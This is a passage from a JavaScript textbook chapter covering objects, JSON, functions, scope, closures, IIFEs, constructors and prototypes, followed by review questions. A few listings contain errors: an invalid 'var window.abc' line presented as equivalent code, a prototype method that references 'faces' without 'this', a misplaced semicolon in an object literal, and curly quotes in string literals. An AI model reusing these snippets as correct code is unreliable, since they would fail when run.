associative arrays again in Chapter 12 when we learn about PHP.

It should be stressed that properties can be added at any time to any object.
Indeed, even variables of primitive types can have properties added to them.
In such a case, the primitive is temporarily coerced into its object form. This
can lead, however, to some unusual behavior as can be seen in Listing 8.9.

Listing 8.9 Coercion of primitives to
objects
// hello1 is a string literal 

var hello1 = “hello”; 

// hello2 is a string object 

var hello2 = new String(“hello”); 

// hello1 is temporarily coerced into a string object 

hello1.french = “bonjour”; 

// hello2 is already an object so new property can be added to it 

hello2.french = “bonjour”; 

// displays undefined because hello1 is back to being a primitive 

alert(hello1.french); 

// displays bonjour 

alert(hello2.french);

8.8.2 Object Creation—Constructed
Form
Another way to create an instance of an object is to use the constructed form,
as shown in the following:

// first create an empty object 

var objName = new Object(); 

// then define properties for this object 



objName.name1 = value1; 

objName.name2 = value2;

You may wonder if it is possible to create empty objects with literal notation
as well. The answer is yes, and the technique is as follows:

// create an empty object using literal notation  

var obj2 = {};

It should be noted that there really is no such thing as an “empty object” in
JavaScript. All objects inherit a set of properties from the Object.prototype
property. We will learn more about this in Section 8.10 when we cover
prototypes.
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So which of these notations should you use? Generally speaking, object
literal notation is preferred in JavaScript over the constructed form. Many
programmers feel that the literal notation is easier to read and quicker to type.
Literal notation is also quicker to execute since there is no need to perform
scope resolution (which we will cover in the next section). Another benefit of
the literal form is that it makes it clearer that objects are simply collections of
name-value pairs, and not something that gets created from some type of
class. As well, it is common for objects to contain other objects and this
approach is much easier to create using literal notation. For instance, Listing
8.10 illustrates how objects can contain other objects.

Listing 8.10 Objects nested within
other objects



var order = { 

  salesDate : “May 5, 2016”, 

  product: {  

  type: “laptop”, 

  price: 500.00, 

  brand: “Acer”  

  }, 

  customer: { 

  name: “Sue Smith”, 

  address: “123 Somewhere St”, 

  city: “Calgary” 

  } 

}; 

alert(order.salesDate); 

alert(order.product.type); 

alert(order.customer.name);

There is another (and very important) technique for object construction called
the constructor function approach. But before we can cover that approach, we
must first learn more about functions in the next section.

Pro Tip
There is a variant of object literal notation called JavaScript Object Notation
or JSON which is used as a language-independent data interchange format
analogous in use to XML. The main difference between JSON and object
literal notation is that property names are enclosed in quotes, as shown in the
following example:

// this is just a string though it looks like an object literal

var text =  '{ “name1” : “value1”,

              “name2” : “value2”,

              “name3” : “value3”

           }';

Notice that this variable is set equal to a string literal which contains an
object definition in JSON format (but is still just a string). To turn this string
into an actual JavaScript object requires using the built-in JSON object.

// this turns the JSON string into an object



var anObj = JSON.parse(text); 

// displays “value1”

console.log(anObj.name1);

You might wonder why one would do such a thing. Many web applications
receive JSON from other sources, like other programs or websites, and parse
the JSON into JS objects. This ability to interact with other web-based
programs or sites is generally referred to as web services and we will find that
we will use JSON later in Chapters 10 and 19 when we consume web
services.



8.9 Functions
Functions are the building block for modular code in JavaScript. They are
defined by using the reserved word function and then the function name and
(optional) parameters. Since JavaScript is dynamically typed, functions do
not require a return type, nor do the parameters require type specifications.
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8.9.1 Function Declarations vs.
Function Expressions
Let us begin with a simple function to calculate a subtotal, which we will
define here as the price of a product multiplied by the quantity purchased.
Such a function might be defined as follows using literal notation.

function subtotal(price,quantity) {  

   return price * quantity; 

} 

The above is formally called a function declaration. Such a declared function
can be called or invoked by using the () operator.

var result = subtotal(10,2); 

With new programmers there is often confusion between defining a function
and calling the function. Remember that when actually using the keyword



function, we are defining what the function does. Later, we can use or call
that function by using its given name without the function keyword but with
the brackets ().

Just as with arrays and objects, it is possible to create functions using the
constructor of the Function object.

// defines a function  

var sub = new Function('price,quantity', 'return price * quantity'); 

// invokes the function  

var result = sub(10,2); 

As you can imagine, it is much more common to define functions using the
literal notation. However, the constructor version above has the merit of
clearly showing one of the most important and unique features of JavaScript
functions: that functions are objects. This means that functions can be stored
in a variable or passed as a parameter to another function.

The object nature of functions can be seen in the next example, which creates
a function using a function expression.

// defines a function using a function expression  

var sub = function subtotal(price,quantity) {  

  return price * quantity; 

}; 

// invokes the function  

var result = sub(10,2); 

We will find that using function expressions is very common in JavaScript. In
the example, the function name is more or less irrelevant since we invoked
the function via the object variable name. As a consequence, it is
conventional to leave out the function name in function expressions, as
shown in Listing 8.11. Such functions are called anonymous functions and, as
we will discover, they are a typical part of real-world JavaScript
programming.

Listing 8.11 Defining an anonymous
function



// defines a function using an anonymous function expression  

var calculateSubtotal = function (price,quantity) { 

 return price * quantity;  

}; 

// invokes the function 

var result = calculateSubtotal(10,2);

Pro Tip
When one is first learning JavaScript, there is typically some resistance to the
idea of using function expressions. The function declaration approach is
certainly more familiar to Java or C++ developers. Yet despite this
familiarity, the function expression approach is often the preferred one
because it allows the developer to limit the scope of function expressions. As
we will discover in more detail in the section on scope, any function name
declared using the declarative approach will become part of the global scope.
In general, we want to minimize the number of objects that exist in global
scope, so for that reason, experienced JavaScript developers prefer using
function expressions.

The object nature of functions can also be seen in one of the more easy-to-
make mistakes with using functions. What do you think the output will be in
the last two lines of code?

// defines a function expression  

var frenchHello = function () { return “bonjour”; };  

// outputs bonjour  

alert(frenchHello());  

// what does this output? Notice the missing parentheses  

alert(frenchHello);

The first alert will invoke the frenchHello function and thus display the
returned “bonjour” string. But what about the second alert? It is missing the
parentheses, so instead of invoking the function, JavaScript will simply
display the content of the frenchHello object. That is, it will display:
“function () { return “bonjour”; };”.

While the sample functions shown so far all return a value, your functions



can simply perform actions and not return any value, as shown in Listing
8.12.

Listing 8.12 Defining a function
without a return value
// define a function with no return value  

function outputLink(url, label) { 

  document.write('<a href=“' + url + '”>'); 

  document.write(label); 

  document.write('</a>');  

}  

// invoke the function  

outputLink('http://www.mozilla.com', 'Mozilla'); 

What would happen if you invoked this function as if it had a return value?
For instance, in the following code, what would be the value of the variable
temp after the function call?

var temp = outputLink('http://www.mozilla.com', 'Mozilla'); 

alert(temp); 

The answer? It would have the value undefined. We could add a conditional
test for undefined using the undefined keyword.

if (temp !== undefined) alert(temp);

8.9.2 Nested Functions
Since functions are objects in JavaScript, it is possible to do things with them
in JavaScript that are not possible in more traditional programming
languages. One of these is the ability to nest function definitions within other
functions. To see this in action, let us define a function that not only
calculates a subtotal but also applies a tax rate. Such a function might look
like the following example using function declarations (we could do the same
thing with function expressions):
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function calculateTotal(price,quantity) {  

   var subtotal = price * quantity;  

   var taxRate = 0.05;  

   var tax = subtotal * taxRate;  

   return subtotal + tax; 

} 

While such a function is fine, we might want to move some of the
calculations into additional functions (for instance, because our tax
calculation was more complicated). One approach would be to define another
function declaration at the same “level” or scope as calculateTotal().

function calculateTotal(price,quantity) {  

   var subtotal = price * quantity;  

   return subtotal + calculateTax(subtotal); 

} 

function calculateTax(subtotal) {  

   var taxRate = 0.05;  

   var tax = subtotal * taxRate;  

   return tax; 

}

Such an approach, however, might not be ideal, especially if calculateTax()
is only used by calculateTotal(). Why? Because the code has added
another identifier to the global scope. We will learn more about global scope
shortly, but a better approach in this scenario would be to nest
calculateTax() inside calculateTotal() as shown in Listing 8.13.

Listing 8.13 Nesting functions
function calculateTotal(price,quantity) { 

   var subtotal = price * quantity; 



   return subtotal + calculateTax(subtotal);  

   // this function is nested  

   function calculateTax(subtotal) { 

      var taxRate = 0.05; 

      var tax = subtotal * taxRate; 

      return tax;  

   }

} 

Nested functions are only visible to the function it is contained within. Thus
calculateTax() is only available within its parent function, that is,
calculateTotal().

8.9.3 Hoisting in JavaScript
In Listing 8.13 it makes no difference where in calculateTotal() that
calculateTax() appears. In that listing calculateTotal() appears at the
end of the function, but JavaScript is able to find it without error because
function declarations are hoisted to the beginning of their current level. As
can be seen in Figure 8.14 , declarations are hoisted, but not the assignments,
an important point worth remembering when using function expressions!



Figure 8.14 Function hoisting
in JavaScript
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8.9.4 Callback Functions
One of the most common byproducts of the fact that JavaScript function
expressions are full-fledged objects is that we can pass a function as a
parameter to another function. The function that receives the function
parameter is able to call the passed-in function at some future point. Such a
passed-in function is said to be a callback function and are an essential part of
real-world JavaScript programming. A callback function is thus simply a
function that is passed to another function.

Hands-On Exercises Lab 8
Exercise
Callback Functions

We will frequently make use of callback functions in the next chapter's
section on event handling in JavaScript. Until then we can demonstrate how a
callback function can be used by modifying the subtotal example, and is
illustrated in Figure 8.15 .



Figure 8.15 Using a callback
function

Figure 8.15 Full Alternative Text

Notice how the calcTax() function is passed as a variable (i.e., without
brackets) to the calculateTotal() function. In this example, calcTax() is a
function expression, but it could have worked just the same if it was a
function declaration instead.

So how do callback functions work? In a sense, we are passing the function
definition itself to another function. This means we can actually define the
function definition directly within the invocation, as shown in Figure 8.16 .
As we will see throughout subsequent chapters on JavaScript, this is typical



of real-world JavaScript programming.

Figure 8.16 Passing a function
definition to another function

Figure 8.16 Full Alternative Text

Dive Deeper

Arrow Functions
One of the more interesting additions to the base JavaScript language in
ES2015 is that of arrow functions. These arrow functions (also known as fat
arrow function for reasons that will be obvious soon) provide a more concise
syntax for the definition of anonymous functions and at the time of writing
are supported in all modern browsers except Safari. They also provide a
solution to problems encountered with the this keyword in callback functions,
but that aspect of arrow functions is beyond our current level of
understanding at this point of the chapter.



The best way to learn arrow functions is to contrast them with traditional
anonymous functions. Let us begin with the following anonymous function.

var tax = function () { return 0.05; };

The arrow function version would look like the following:

var tax = () => 0.05;

As you can see this is a pretty concise (but perhaps confusing) way of writing
code. Because the body of the anonymous function consists of only a single
return statement and no parameters, the arrow version eliminates the need to
type function, return, and the curly brackets. But what if we had a function
with parameters and multiple lines in the body? For instance, let us begin
with the following function:

var subtotal = function (price, quantity) {

    var sub = price * quantity;

    return sub;

};

How would this function look using arrow syntax? It would look like the
following:

var subtotal = (price, quantity) => {

    var sub = price * quantity;

    return sub;

};

As you can see, the return statement has, well, returned. The implicit return
of our first arrow function only worked because it was a single line and
contained no curly brackets.

8.9.5 Objects and Functions
Together
As we have already seen, functions are actually a type of object. Since an
object can contain other objects, it is possible, indeed, it is extremely typical,



for objects to contain functions. In a class-oriented programming language
like Java or C#, we say that classes define behavior via methods. In a
functional programming language like JavaScript, objects can have properties
which are functions. These functions within an object are often referred to as
methods, but strictly speaking JavaScript doesn't have methods, only
properties which are functions.

For instance, Listing 8.14 expands on an earlier example object literal by
adding two function properties (methods).

Listing 8.14 Objects with methods
var order ={ 

    salesDate : “May 5, 2016”, 

    product : { 

       type: “laptop”, 

       price: 500.00, 

       brand: “Acer”, 

       output: function () { 

           return this.brand + '' + this.type + '$' + this.price; 

       } 

},  

    customer : {  

       name: “Sue Smith”, 

       address: “123 Somewhere St”, 

       city: “Calgary”, 

       output: function () { 

           return this.name + ', ' + this.address + ', ' + this.city;

       }

    }  

}; 

alert(order.product.output());  

alert(order.customer.output()); 

Notice the use of the keyword this in the two methods. This particular
keyword has a reputation for confusion and misunderstanding amongst
JavaScript programmers. We will come back several times to this. The
meaning of this in JavaScript is contextual and sometimes requires a full
understanding the current state of the call stack in order to know what this is
referring to. Luckily for us right now, we don't have to do anything so



complex to understand the this in Listing 8.14. Here the this in Listing 8.14
simply refers to the parent object that contains the output() function. So in the
output() function within product property, the this refers to the object
defined for that property. For the output() function within the customer
property, the this refers to the object defined for that object. The contextual
meaning of this is illustrated in Figure 8.17 . But before we can learn more
about this, we need to learn more about scope in JavaScript.



Figure 8.17 Contextual
meaning of the this keyword

Figure 8.17 Full Alternative Text

8.9.6 Scope in JavaScript
Scope is one of the essential concepts one learns in a typical first-year
programming class. In JavaScript, it is especially important. Scope generally
refers to the context in which code is being executed. You might think of
scope as a set of rules used by JavaScript for looking for variables by their
names.

Hands-On Exercises Lab 8
Exercise
Scope

In class-based languages like Java, the words visibility or accessibility are
often used instead of the word scope. Visibility is a helpful term because the
scope determines the extent to which variables are “visible” or able to be
referenced. A variable out of scope is not visible and therefore available.

JavaScript has two scopes: local scope (also called function scope) and global
scope. Variables defined in local scope are only available within the function
in which they are defined. Variables defined in global scope are available
globally, that is, within every function.

Unlike many other programming languages, there is no block-level scope in
JavaScript. That is, in JavaScript variables defined within an if {} block or a
for {} loop block will be available outside of the block in which they are



defined. For instance, in the following example both the loop variable i and
the variable tmp are available outside of the loop.

for (var i=0; i<10;i++) { 

    var tmp = “whatever”;  

    // do other amazing things  

}  

// outputs 10  

alert(i); 

// outputs whatever  

alert(tmp);

Pro Tip
ES2015 does in fact include a mechanism for declaring block-scoped local
variables. The new keyword let allows you to define variables whose scope
is limited to their block. For instance, the following code shows how let
works:

if (someCondition) {

    let tmp = “whatever”;

    // do other amazing things

} 

// outputs undefined 

alert(tmp); 

Global Scope
Any code written outside of a function in JavaScript has global scope. This
means it is available inside of all functions. Take a look at the following
code. Can you determine what it outputs?

// defines a global variable 

var abc = 'fred'; 

function something() { 

   console.log(abc); 

   abc = 'sue'; 

} 

something(); 



console.log(abc);

If your answer was it would output fred and then sue, you are correct. Here
is another question. How many global identifiers are there in the above code
sample? The correct answer is two: the variable abc and the function
declaration something.

The fact that identifiers with global scope are available everywhere sounds
powerful (and it is), but such power can also cause problems. The nature of
this problem is sometimes referred to as the namespace conflict problem. In
class-based languages like Java or C#, the compiler will not allow you to
have two classes (e.g., Image) with the same name. To prevent these name
conflicts, you can group related classes in a namespace (using the package
keyword in Java or the namespace keyword in C#). You can thus eliminate
the namespace conflict (two classes with the same name) by giving the two
classes different namespaces. This disambiguates classes with the same
name, so the compiler is now able to tell the difference between
System.Windows.Controls.Image and System.Drawing.Image.

JavaScript does not have namespaces or packages (though one can emulate
them through functions within objects). If the JavaScript compiler encounters
another identifier with the same name at the same scope, you do not get an
error. Instead, the new identifier replaces the old one!

When you are first learning JavaScript this might not seem to be that much of
a problem: after all, your early JavaScript efforts will likely only have a few
dozen identifiers in it, and your (human) memory should easily be able to
recall what names you have used. But contemporary real-world websites
often make use of several, or even dozens, of different JavaScript libraries,
plugins, and frameworks created by different programming teams, each with
dozens if not hundreds of function and variable identifiers. Imagine if all of
those 1000+ JavaScript identifiers were global? Adding a new JavaScript
library would be a nightmare, since each one could potentially interfere with
each one of your other JavaScript libraries. For this reason, it is very
important to minimize the number of global variables in your JavaScript
code.

One of the interesting facts about global identifiers is that in the browser they



actually belong to the window object, which represents a window containing a
document. (In a tabbed browser, each tab has its own window object.) Thus,
these two lines are functionally equivalent (if not within a function):

var abc = 'fred'; 

var window.abc = 'fred';

Local Scope
Identifiers defined within a function have local scope, meaning that they are
only visible within that function, or within other functions nested within it.
Examine the code and output illustrated in Figure 8.18 and be sure you
understand the scope rules shown.



Figure 8.18 Local versus global
scope

Figure 8.18 Full Alternative Text

Dive Deeper



The scope in JavaScript is sometimes also referred to as lexical scope because
the scope is defined by the placement of identifiers at design (and then
compile) time, not at run time. This lexical scoping forces JavaScript
programmers to deal with one of the more confusing concepts in JavaScript,
that of closure.

The ending bracket of a function is said to close the scope of that function.
But closure refers to more than just this idea. A closure is an object consisting
of a function and the scope environment in which the function is created; that
is, a closure is a function that has an implicitly permanent link between itself
and its scope chain.

You no doubt are asking yourself what does that actually mean? Here is
another way of stating this idea: a function defined within a closure
“remembers” or “preserves” the scope in place when it is created. If that still
doesn't help explain it, maybe looking at an example will help. Consider the
following example2:





8.9-4 Full Alternative Text

You might say then that closures are functions with preserved state. Or as
defined by Kyle Simpson, “Closure is when a function is able to remember
and access its lexical scope even when that function is executing outside its
lexical scope.”3

Why is this important? Most of the practical JavaScript that you will end up
writing will be event based. That is, you will be writing event handling
functions that will execute at some future point when the event is triggered.
These callback functions, however, will still need to “remember” the scope
chain that was in place when they were defined, not when they run.

As can be seen in Figure 8.18 , functions nested within other functions have
access to the variables of the containing or outer function(s). Figure 8.19
illustrates another way of visualizing scope in JavaScript. Imagine each
function in a JavaScript page as a series of boxes, each with one-way
windows that allow a child function/box to see out to its parent containers,
but the parent containers cannot see into its child containers. While this
seems like a teenager's dream come true and a parent's worst nightmare, this
arrangement works well in the JavaScript context.



Figure 8.19 Visualizing scope
Figure 8.19 Full Alternative Text

Globals By Mistake
One of the most easily created bugs (or, at the very least, a potential gotcha)
in JavaScript can happen when you forget to preface a variable declaration



with the var keyword. Any variable defined without the var keyword, no
matter where it is defined, becomes a global variable. Take a look at Listing
8.15. We have a global array of book objects, each of which contains another
array of author objects. We then have two straightforward functions that loop
through these arrays outputting their information.

Listing 8.15 Unintentional global
variables
var books = [  

 { title: “Data Structures and Algorithm Analysis in C++”, 

   publisher: “Pearson”, 

   authors: [ 

       {firstName: “Mark”, lastName: “Weiss” }] 

 }, 

 { title: “Foundations of Finance”,  

   publisher: “Pearson”,  

   authors: [ 

       {firstName: “Arthur”, lastName: “Keown” }, 

       {firstName: “John”, lastName: “Martin” }]  

 },  

 { title: “Literature for Composition”, 

   publisher: “Longman”, 

   authors: [  

       {firstName: “Sylvan”, lastName: “Barnet” }, 

       {firstName: “William”, lastName: “Cain” }, 

       {firstName: “William”, lastName: “Burto” }]  

 } 

];  

function outputBooks() {  

   for (i=0; i<books.length;i++) { 

       document.write(“<h2>” + books[i].title + “</h2>”); 

       outputAuthors(books[i]); 

   } 

}  

function outputAuthors(book) {  

   for (i=0; i<book.authors.length;i++) { 

       document.write(book.authors[i].lastName + “<br>”); 

   } 

} 

outputBooks(); 



We want the output to look like the first screen capture in Figure 8.20 , but
instead we get what shows up in the second screen capture. Can you figure
out why?

Figure 8.20 Visualizing the
problem

Figure 8.20 Full Alternative Text

The problem resides in the use of the variable i within the two for loops.
Because the loop initialization is i=0 instead of var i=0, the variable i here
is made into a global variable. That is, the for loop within outputAuthors()
is modifying the same i variable being used in outputBooks().

Remember also that function declarations create global identifiers as well.



Thus a forgotten var can also redefine or eliminate a function. In Listing
8.16, the forgotten var in the something() function overwrites the earlier
result() function definition.

Listing 8.16 Destroying a function
declaration
function result(a,b) { 

   return a + b; 

}  

// outputs 12  

alert(result(5,7));  

function something(x,y) { 

   // forgot the var and as a consequence, this line replaces the 

   // function declaration with a primitive value 

   result = x * y;  

   return result; 

}  

// outputs 35  

alert(something(5,7)); 

// this line will generate this console error: “result is not a function”

alert(result(5,7)); 

The moral of the story? Always declare your variables with the var keyword!

You might also wonder what would have happened if we had added the var
in Listing 8.16, that is, the function looked like the following:

function something(x,y) { 

   var result = x * y; 

   return result; 

}

Our third alert() call would have worked as expected. What this example
shows is that you can define a new locally scoped variable in a function with
a name that exists already (whether globally or within some outer function).
When looking for a variable, JavaScript will look first at the currently
executing local scope, and move outwards; it will stop once it finds a match,
as shown in Figure 8.21 .



Figure 8.21 Visualizing scope
again
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But, what, you might ask, if you wanted to access an outer-scoped identifier
with the same name as a locally scoped variable? In such a case, you might
be able to access it by using the this keyword, as shown in the following
change to Listing 8.16:

function something(x,y) {  

   var result = x * y;  



   result +=  this.result(x,y);  

   return result; 

} 

Recall that in our earlier discussion about the keyword this, we mentioned
that the meaning of this in JavaScript is contextual and based upon the state
of the call stack when this is invoked. In the example above based on
Listing 8.16, this is referencing the global context, so this.result()
references the global result() function already defined.

Dive Deeper

Immediately-Invoked Function
Expressions
One of the common programming tasks in any programming language is to
define some type of function that performs a task, and then later to invoke
that function. JavaScript provides a specialized syntax for combining these
two steps. This syntax is generally referred to as Immediately-Invoked
Function Expressions (IIFE) which provides a number of useful benefits,
especially around scope and closure.

Let's begin with a sample function and invocation.

// define a function 

function doSomething() { 

   document.write(“something”); 

}; 

// now explicitly invoke it

doSomething(); 

We can instead immediately invoke a function after defining it by using the
() invocation operator and wrapping the function in an additional set of
parentheses. This is what the IIFE version of the function would look like:

// define and immediately invoke the function 



(function () { 

   document.write(“something”); 

})(); 

There is an alternate syntax which places the () operator within the extra
parentheses.

// alternate syntax

(function () { 

   document.write(“something”); 

}());

If your function requires parameters, that is easily accomplished by adding
them within the () operator.

(function (first,last) { 

   document.write(first + “ ” + last);

})(“Sue”,“Smith”); 

Other than a (very) small decrease in the amount of code to write, what is the
real benefit of immediately-invoking function expressions? Perhaps the most
important benefit is that they help you to reduce the number of global
identifiers. Recall that each function, whether an expression or a declaration,
adds an identifier to the global namespace. In the aforementioned examples,
the IIFE are anonymous and thus add no name to the global namespace.

Immediately-invoked function expressions are also used to emulate the
encapsulated objects common to languages like Java and C#. For instance, in
JavaScript we might create the following object literal and then later, follow
it with a nonsensical property change.

var person = {

     name : “Sue”, 

     age: 27;

};

 … 

person.age = 3333; 

While it makes no sense to have a person's age to be such a large number, it
is allowable because all properties of an object are visible and mutable in
JavaScript. In a language like Java, we would likely make the data property
private, and control access to the variable via getter and setter methods.



We can accomplish the same thing using the following IIFE.

var person = (function() {

    var private = { name : 'sue', age: 24 };

    // notice the function returns an object

    return {

        getName: function() { return private.name; },

        getAge: function() { return private.age; },

        setAge: function(age) { 

                    // only change data if it is sensible data 

                    if (age > 0 && age < 120) {

                       private.age = age; 

                    }

                }

    };

})();

The data properties of the object have now been hidden within the
immediately-invoked function thanks to the magic of closures. Furthermore,
that function returns an object that contains getter and setter functions that
control access to the data properties. We might say that the IIFE provides a
closure to the function thereby making its content private.

// these will work

console.log( person.getName() );

console.log( person.getAge() );

person.setAge(33);

// these won't work

person.setAge(3333);

console.log(person.name);

console.log(person.private.name);

console.log(person.private.age);

This same approach is also used to emulate namespaces. Imagine we have
several functions that need to be available in numerous other functions. We
could simply define them as global functions and hope their names don't
interfere with any of the other JavaScript libraries that we are using. A much
better approach would be to package them within an IIFE.

var MY_NAMESPACE = (function() {

    var privateData = { … };

    var privateMethod = function () { … };

    return {

            publicMethodl: function() { … },



            publicMethod2: function() { … }

    };

})();

// now use the public methods in the namespace

MY_NAMESPACE.publicMethodl();

MY_NAMESPACE.publicMethod2();

Using this approach we now have only a single global identifier
(MY_NAMESPACE). It will presumably be much easier to ensure there are
no name conflicts with any other JavaScript library we might end up using.
This particular coding approach is sometimes referred to as the Module
Pattern.

8.9.7 Function Constructors
Now that we better understand functions we are ready to cover the third way
to create object instances. In Section 8.8, we learned how to create objects
using the object constructor (rare) and object literals (very common).

Hands-On Exercises Lab 8
Exercise
Function Constructors

The main problem with the object literal approach lies in situations in which
we want numerous instances with the same properties and methods. One
common solution to this problem is to use function constructors, which looks
similar to the approach used to create instances of objects in a class-based
language like Java, as can be seen in Listing 8.17.

Listing 8.17 Defining and using a
function constructor



// function constructor  

function Customer(name,address,city) { 

   this.name = name; 

   this.address = address; 

   this.city = city; 

   this.output = function () {  

                   return this.name + “ ” + this.address + “ ” + this.city;

                 }; 

} 

var cust1 =  new  Customer(“Sue”, “123 Somewhere”, “Calgary”); 

alert(cust1.output()); 

var cust2 =  new  Customer(“Fred”, “32 Nowhere St”, “Seattle”); 

alert(cust2.output()); 

This comparison with constructors in class-based languages is a bit
misleading. In reality, in JavaScript there are no constructor functions, only
constructor calls of functions. What does this mean? If you look at Listing
8.17, the function constructor Customer() is just a function, but it is making
use of the this keyword to set property values.

The key difference between using a function constructor and using a regular
function resides in the use of the new keyword before the function name.
Figure 8.22 illustrates just what happens when a function constructor is used
to create a new object instance.



Figure 8.22 What happens with
a constructor call of a function
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So what would happen if we forgot the new keyword in Figure 8.22 or Listing
8.17? In such a case, we would simply be calling a function called
Customer(). The this references within the function would then reference
the current execution context, which would no longer be a new object but the
global context. That is, without the new, the statement this.address =
address in the function would be setting a global variable named address.
Similarly, the cust object would remain an undefined object without the
name, address, or city properties.



Note
As we saw in our sample constructor function, when a function is created, a
keyword called this is created which can be used to reference the execution
context of the function. It does not reference the function itself, but, in a
sense, where it was called or to what object the function belongs.

This means that the meaning of this in a given function or object might
change depending upon the context in which a function is called or created.

Pro Tip
Modern browsers support a more restricted variant of JavaScript known as
strict mode. In strict mode, certain programming approaches (for instance,
setting a variable to an undefined value or making a global variable by
mistake within a function by forgetting to preface it with the var keyword) or
using keywords that will be reserved in ES2015 will throw an exception or
generate a syntax error when used. Another key difference with strict mode is
that the value of the this keyword within a regular function invocation will
throw an exception.

You can tell the browser to use strict mode for the entire script by adding the
following statement to the first line of the script (note that you can use single
quotes as well):

“use strict”;

You can also instruct the browser to use strict mode only within the specified
function by including that same statement as the first line of the function, as
shown in the following example:

<script>

function Artist(first, last) {

   “use strict”;

   // this WILL generate an exception

   globalByMistake = 25;



   // these lines will be fine as long as this function is used 

   // as a function constructor (that is, with new keyword)

   this.first = first;

   this.last = last;

}

// this line will execute as expected

var al = new Artist(“Pablo”,“Picasso”);

// notice that the new keyword is missing, thus because of the

// use strict in the function constructor, this line WILL 

// generate an exception

var a2 = Artist(“Henri”,“Matisse”);



8.10 Object Prototypes
In the last section, we discovered a better approach for creating multiple
instances of objects that need to have the same properties and methods. While
the constructor function is simple to use, it can be an inefficient approach for
objects that contain methods. For instance, consider the function constructor
in Listing 8.18. It can be used to create a single dice object.
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Listing 8.18 Sample inefficient
function constructor and some
instances
function Die(col) { 

   this.color=col;  

   this.faces=[1,2,3,4,5,6]; 

   this.randomRoll = function() { 

      var randNum = Math.floor((Math.random() * this.faces.length) + 1);

      return faces[randNum-1]; 

   }; 

}  

// now create a whole bunch of Die objects and start rolling 'em! 

var x1 = new Die(“red”); 

alert(x1.randomRoll()); 

var x2 = new Die(“green”); 

alert(x2.randomRoll());  

// … 



var x100 = new Die(“blue”); 

Although the function constructor used in Listing 8.18 works, it is not a
memory-efficient approach. Why? Because a new randomRoll() function
(object) is created for each new Die object instance. Figure 8.23 illustrates
how multiple instances of the Die object contain multiple (identical)
definitions of the randomRoll() method (recall that a function expression is
an object whose content is the definition of the function).





Figure 8.23 Illustrating the
memory impact of function
methods
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Just imagine if you had to create 1000 or 100,000 Die objects. You would be
redefining every method 1000 or more times, which could have a noticeable
effect on client execution speeds and browser responsiveness. To prevent this
needless waste of memory, a better approach is to define the method just
once using a prototype of the function.

8.10.1 Using Prototypes
Prototypes are an essential syntax mechanism in JavaScript, and are used to
make JavaScript behave more like an object-oriented language. Every
function object is given (inherits) a prototype property, which is initially an
empty object. What makes the prototype property powerful is the prototype
properties and methods are defined once for all instances of an object created
with the new keyword from a constructor function.

So now in our example, we can move the definition of the randomRoll()
method out of the constructor function and into the prototype, as shown in
Listing 8.19.

Listing 8.19 Using a prototype
function Die(col) { 

   this.color=col; 

   this.faces=[1,2,3,4,5,6]; 

}

Die.prototype.randomRoll = function() { 



      var randNum = Math.floor((Math.random() * this.faces.length) + 1);

      return faces[randNum-1]; 

}; 

// now create a whole bunch of Die objects 

var x1 = new Die(“red”); 

alert(x1.randomRoll()); 

var x2 = new Die(“green”); 

alert(x2.randomRoll()); 

…

This approach is far superior because it defines the method only once, no
matter how many instances of Die are created. In contrast to the duplicated
code in Figure 8.23 , Figure 8.24 shows how using a prototype improves
efficiency. Listing 8.19 shows how the prototype property is updated to
contain the method so that subsequent instantiations reference that one
method definition. Since all instances of a Die share the same prototype
object, the function declaration only happens one time and is shared with all
Die instances.



Figure 8.24 Using the prototype
property
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8.10.2 Using Prototypes to Extend
Other Objects



In addition to the obvious application of prototypes to our own constructor
functions, prototypes enables you to extend existing objects (including built-
in objects) by adding to their prototypes. Imagine a method added to the
String object which allows you to count instances of a character. Listing 8.20
defines just such a method, named countChars() that takes a character as a
parameter.

Listing 8.20 Extending a built-in
object using the prototype
String.prototype.countChars = function (c) { 

   var count=0; 

   for (var i=0;i<this.length;i++) { 

      if (this.charAt(i) == c) 

         count++; 

   } 

   return count; 

}

Now any new instances of String will have this method available to them.
You could use the new method on any strings instantiated after the prototype
definition was added. For instance the following example will output Hello
World has 3 letter l's.

var msg = “Hello World”; 

console.log(msg + “has” + msg.countChars(“l”) + “ letter l's”);

Extended Example
This chapter has covered a great deal of ground. In this extended example we
will make use of arrays, objects, loops, and functions. It also covers
something new: a for … in loop that loops through all the properties of an
object.



8.10-5 Full Alternative Text
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This technique is also useful to assign properties to a objects that you want
available to all instances. Imagine an array of all the valid characters attached
to some custom string class. Again using the prototype you could define
such a list.

CustomString.prototype.validChars = [“A”,“B”,“C”];

While prototypes can be a bit tricky, it is worth the effort to learn them. We
will discover in later chapters that frameworks like jQuery make extensive
use of prototypes.



8.11 Chapter Summary
This has been a long chapter. But this length was necessary in order to learn
the role that JavaScript has in contemporary web development and, more
importantly, to learn the fundamentals of the language. JavaScript may seem
a peculiar language at first, but once you become more and more comfortable
with objects and functions, you will find that it is a powerful and
sophisticated programming language. The next chapter builds on our
knowledge of the language and demonstrates how JavaScript is actually used
in real-world websites.

8.11.1 Key Terms
ActionScript

Adobe Flash

anonymous functions

assignment

AJAX

applet

arrays

arrow functions

associative arrays

browser extension

browser plug-in



built-in objects

callback function

client-side scripting

closure

conditional assignment

dot notation

dynamically typed

ECMAScript

embedded JavaScript

ES2015

ES6

exception

expressions

external JavaScript files

falsy

fail-safe design

for loops

functions

function constructor

function declaration



function expression

inline JavaScript

immediately-invoked function

Java applet

JavaScript frameworks

JavaScript Object Notation

JSON

lexical scope

libraries

loop control variable

method

minification

module pattern

namespace conflict problem

objects

object literal notation

primitive types

property

prototypes

reference types



scope (local and global)

strict mode

throw

truthy

try… catch block

undefined

variables

8.11.2 Review Questions
1. 1. What is JavaScript? What are its relative advantages and

disadvantages?

2. 2. How is a browser plug-in different from a browser extension?

3. 3. How do AJAX requests differ from normal requests in the HTTP
request-response loop?

4. 4. What are some reasons a user might have JavaScript disabled?

5. 5. What kind of variable typing is used in JavaScript? What benefits and
dangers arise from this?

6. 6. What do the terms truthy and falsy refer to in JavaScript? What does
undefined mean in JavaScript?

7. 7. Create an array that contains the titles of four sample books. Write a
loop that iterates through that array and outputs each title in the array to
the console.

8. 8. Define an object that represents a sample book, with two properties



(title and author) using object literal notation. The author property
should also be an object consisting of two properties (firstName and
lastName).

9. 9. How are function declarations different from function expressions?
Why are function expressions often the preferred programming
approach in JavaScript?

10. 10. What is a callback function?

11. 11. What is an anonymous function? What is a nested function? What
are some of the reasons for using these two types of function?

12. 12. Identify and define the two types of scope within JavaScript. Provide
a short example that demonstrates these two types of scope.

13. 13. Define an object that represents a car, with two properties (name and
model) using a function constructor. Add a function to the object named
